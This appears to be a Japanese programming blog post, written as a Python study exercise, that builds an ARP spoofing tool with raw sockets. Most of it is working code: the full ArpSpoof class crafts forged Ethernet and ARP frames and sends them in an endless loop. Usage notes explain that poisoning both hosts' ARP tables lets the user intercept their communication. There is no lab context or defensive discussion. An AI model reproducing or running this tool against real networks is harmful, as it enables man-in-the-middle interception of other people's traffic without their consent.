【Python】ARPを使ったネットワークプログラミング
Pythonの勉強のためARPスプーフィングツールを作り検証したいと思います。
ARPスプーフィングはターゲットのarpテーブルを書きかえるテクニックでしたね。
仕組みについては以前c言語で実装した時にまとめました。
ソケット作成
今回はethernetからまるごとパケットを作成します。
そのためプロトコルファミリーにAF_PACKETを指定します。
作成したソケットとネットワークインターフェースをbindします。
1 2 |
self.soc = socket.socket(socket.AF_PACKET, socket.SOCK_RAW) self.soc.bind((interface, 0)) |
パケット作成
ethernetパケットとarpパケットを作ります。
面倒な部分はmacアドレスをバイナリに変換する処理ですかね。
ポートスキャンの時と同様struct.packを使ってうまい具合にパケットを構築します。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
# macアドレスを上手いこと変換。形式が正しいかなど厳密に確認しない def mac_to_string(self, mac_arg): mac = ["00" for _ in range(6)] mac_list = mac_arg.split(":") for i in range(len(mac_list)): mac[i] = mac_list[i] mac_bin = "" for m in mac: mac_bin += struct.pack("!B", int(m,16)) return mac_bin # ethernetパケット作成 def make_ether(self, s_mac, d_mac): return struct.pack("!6s6sH", d_mac, s_mac, 0x0806) # arpパケット作成 def make_arp(self, s_mac, d_mac, s_ip, d_ip): # hardware type, protocol type, hardware address length, protocol address length, operation return struct.pack("!HHBBH6s4s6s4s", 0x1, 0x0800, 6, 4, 1, s_mac, s_ip, d_mac, d_ip) |
ソースコードのすべて
面倒な処理はクラスに放り込んでしまいましょう。
spoofメソッドで一秒ごとに死ぬまでパケットを送信し続けます。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 |
# coding: utf-8 import socket import struct import sys import time class ArpSpoof: def __init__(self, interface): self.soc = socket.socket(socket.AF_PACKET, socket.SOCK_RAW) self.soc.bind((interface, 0)) def __del__(self): self.soc.close() # スプーフィングを開始します def spoof(self,s_mac,d_mac,s_ip,d_ip): print("spoofing ...") s_mac = self.mac_to_string(s_mac) d_mac = self.mac_to_string(d_mac) s_ip = socket.inet_aton(s_ip) d_ip = socket.inet_aton(d_ip) ether = self.make_ether(s_mac,d_mac) arp = self.make_arp(s_mac, d_mac, s_ip, d_ip) packet = ether+arp while True: print("- send arp packet") self.soc.send(packet) time.sleep(1) # macアドレスを上手いこと変換。形式が正しいかは確認しない def mac_to_string(self, mac_arg): mac = ["00" for _ in range(6)] mac_list = mac_arg.split(":") for i in range(len(mac_list)): mac[i] = mac_list[i] mac_bin = "" for m in mac: mac_bin += struct.pack("!B", int(m,16)) return mac_bin # ethernetパケット作成 def make_ether(self, s_mac, d_mac): return struct.pack("!6s6sH", d_mac, s_mac, 0x0806) # arpパケット作成 def make_arp(self, s_mac, d_mac, s_ip, d_ip): # arp type, ip type, hardwareaddress length, ip address length, operation return struct.pack("!HHBBH6s4s6s4s", 0x1, 0x0800, 6, 4, 1, s_mac, s_ip, d_mac, d_ip) |
動作確認
クラスの使い方です。
1 2 |
arp = ArpSpoof({インターフェース名}) arp.spoof({送信元macアドレス}, {送信先macアドレス}, {送信元ipアドレス}, {送信先ipアドレス}) |
単にターゲットのarpテーブルを書きかえるだけならこれだけでいいですが、
二台のマシンの通信を傍受したい場合二台ともarpテーブルを書きえかる必要があります。
最後に
Rustやc言語で実装した時よりもソースコード量を抑えることができました。
scapyを使えばさらに簡単に書くことができると思います。